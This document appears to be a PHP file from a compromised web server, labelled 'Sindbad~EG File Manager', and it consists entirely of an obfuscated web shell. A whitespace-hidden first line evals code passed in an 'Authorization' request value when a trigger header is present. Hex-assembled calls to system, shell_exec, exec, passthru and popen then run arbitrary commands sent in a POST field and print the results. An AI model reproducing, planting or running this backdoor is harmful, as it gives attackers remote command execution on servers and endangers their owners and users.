Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x41u\x74h\x6fr\x69z\x61t\x69o\x6e\"\x5d)\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}



$pgrp1 = '7';
$pgrp2 = '4';
$pgrp3 = '6';
$pgrp4 = '3';
$pgrp5 = 'c';
$pgrp6 = 'f';
$pgrp7 = '5';
$pgrp8 = '8';
$pgrp9 = '2';
$pgrp10 = '0';
$pgrp11 = '1';
$pgrp12 = 'e';
$initialized1 = pack("H*", '7' . '3' . '7' . '9' . $pgrp1 . '3' . '7' . $pgrp2 . $pgrp3 . '5' . '6' . 'd');
$initialized2 = pack("H*", $pgrp1 . $pgrp4 . $pgrp3 . '8' . '6' . '5' . $pgrp3 . $pgrp5 . $pgrp3 . $pgrp5 . '5' . $pgrp6 . $pgrp3 . $pgrp7 . $pgrp1 . '8' . $pgrp3 . $pgrp7 . $pgrp3 . $pgrp4);
$initialized3 = pack("H*", $pgrp3 . $pgrp7 . '7' . $pgrp8 . '6' . $pgrp7 . $pgrp3 . $pgrp4);
$initialized4 = pack("H*", $pgrp1 . '0' . '6' . '1' . '7' . $pgrp4 . $pgrp1 . $pgrp4 . $pgrp1 . '4' . $pgrp3 . $pgrp8 . $pgrp1 . $pgrp9 . '7' . '5');
$initialized5 = pack("H*", $pgrp1 . $pgrp10 . '6' . 'f' . $pgrp1 . $pgrp10 . $pgrp3 . '5' . $pgrp3 . 'e');
$initialized6 = pack("H*", '7' . '3' . '7' . '4' . $pgrp1 . '2' . '6' . '5' . '6' . $pgrp11 . $pgrp3 . 'd' . '5' . 'f' . $pgrp3 . $pgrp1 . $pgrp3 . '5' . $pgrp1 . $pgrp2 . $pgrp7 . 'f' . '6' . $pgrp4 . $pgrp3 . $pgrp6 . '6' . $pgrp12 . '7' . '4' . '6' . $pgrp7 . $pgrp3 . $pgrp12 . $pgrp1 . '4' . '7' . $pgrp4);
$initialized7 = pack("H*", '7' . $pgrp10 . $pgrp3 . $pgrp4 . '6' . 'c' . $pgrp3 . $pgrp6 . '7' . $pgrp4 . '6' . '5');
$initialized = pack("H*", $pgrp3 . '9' . '6' . 'e' . $pgrp3 . '9' . $pgrp1 . $pgrp2 . '6' . '9' . $pgrp3 . $pgrp11 . '6' . 'c' . $pgrp3 . '9' . '7' . 'a' . '6' . $pgrp7 . '6' . '4');
if (isset($_POST[$initialized])) {
    $initialized = pack("H*", $_POST[$initialized]);
    if (function_exists($initialized1)) {
        $initialized1($initialized);
    } elseif (function_exists($initialized2)) {
        print $initialized2($initialized);
    } elseif (function_exists($initialized3)) {
        $initialized3($initialized, $val_reference);
        print join("\n", $val_reference);
    } elseif (function_exists($initialized4)) {
        $initialized4($initialized);
    } elseif (function_exists($initialized5) && function_exists($initialized6) && function_exists($initialized7)) {
        $value_record = $initialized5($initialized, 'r');
        if ($value_record) {
            $pointer_fac = $initialized6($value_record);
            $initialized7($value_record);
            print $pointer_fac;
        }
    }
    exit;
}